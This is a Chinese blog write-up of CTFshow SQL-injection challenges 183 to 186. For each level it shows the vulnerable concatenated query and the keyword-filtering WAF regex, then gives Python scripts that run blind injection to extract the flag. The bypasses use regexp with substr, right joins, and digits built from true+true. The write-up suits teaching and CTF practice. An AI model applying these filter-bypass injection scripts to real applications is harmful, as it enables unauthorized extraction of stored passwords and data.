ctfshow-web入门-sql注入-183-186


web183

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
      
返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

      
查询结果

//返回用户表的记录总数
      $user_count = 1;
      

根据之前的经验,猜测是tableName=ctfshow_user,发现只有返回几个,于是尝试盲注

脚本一:

@Author:Y4tacker
import requests

url = 'http://43245a00-dd98-4ad0-81a0-f8ab49996abc.challenge.ctf.show:8080/select-waf.php'
flagstr = r"{flqazwsxedcrvtgbyhnujmikolp-0123456789}"
res = ""
for i in range(1,46):
    for j in flagstr:
        data = {
            'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 1;") > 0:
            res += j
            print(res)
            break

脚本二:

import requests
url = 'http://43245a00-dd98-4ad0-81a0-f8ab49996abc.challenge.ctf.show:8080/select-waf.php'
payloadstr = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
payload = "ctf"
payload0 = "ctf"
flag = ''
for i in range(1,46):
	for j in payloadstr:
		payload += j;
		data = {
			'tableName':f"(ctfshow_user)where(pass)regexp('{payload}')"
		}
		# print(data)
		res = requests.post(url,data=data)

		if res.text.find("$user_count = 1;") > 0:
			payload0 = payload
			print(payload)
			break
		payload = payload0

web184

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      
返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      
查询结果

//返回用户表的记录总数
      $user_count = 0;

这次没有过滤空格,但是过滤了where,我们使用连接查询。

脚本

import requests
url = 'http://ee870d21-e571-4177-b710-a5bbe6b8df0d.challenge.ctf.show:8080/select-waf.php'
payloadstr = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
payload = "ctf"
payload0 = "ctf"
flag = 'ctfshow'
for i in range(8,46):
	for j in range(45,126):
		data = {
			'tableName':f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
		}
		# print(data)
		res = requests.post(url,data=data)

		if res.text.find("$user_count = 43;") > 0 and chr(j) !='.':
			flag+=chr(j)
			print(flag.lower())
			break
		

web185

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      
返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      
查询结果

//返回用户表的记录总数
      $user_count = 0;

在sql中,true可以代表1,而true+true可以代表2,所以过滤了数字也可以构造

  • avatar

脚本

import requests
url = 'http://91859517-cbf2-44ce-b4b6-7d22de2e0d32.challenge.ctf.show:8080/select-waf.php'
payloadstr = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
payload = "ctf"
payload0 = "ctf"
flag = 'ctfshow'

def createnum(n:int):
	num = "true"
	if n==1:
		return "true"
	else:
		for i in range(n-1):
			num+="+true"
		return num
for i in range(8,46):
	for j in range(45,126):
		data = {
			'tableName':f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createnum(i)},{createnum(1)})regexp(char({createnum(j)})))"
		}
		# print(data)
		res = requests.post(url,data=data)

		if res.text.find("$user_count = 43;") > 0 and chr(j) !='.':
			flag+=chr(j)
			print(flag.lower())
			break
		

web186

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      
返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      
查询结果

//返回用户表的记录总数
      $user_count = 0;

同185脚本:

import requests
url = 'http://f3caf21e-299f-4e4d-aaee-3a1870aecde2.challenge.ctf.show:8080/select-waf.php'
payloadstr = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
payload = "ctf"
payload0 = "ctf"
flag = 'ctfshow'

def createnum(n:int):
	num = "true"
	if n==1:
		return "true"
	else:
		for i in range(n-1):
			num+="+true"
		return num
for i in range(8,46):
	for j in range(45,126):
		data = {
			'tableName':f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createnum(i)},{createnum(1)})regexp(char({createnum(j)})))"
		}
		# print(data)
		res = requests.post(url,data=data)

		if res.text.find("$user_count = 43;") > 0 and chr(j) !='.':
			flag+=chr(j)
			print(f"[*] 第{i-7}位盲注成功",flag.lower())
			break
		


文章作者: Rolemee
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Rolemee !
  目录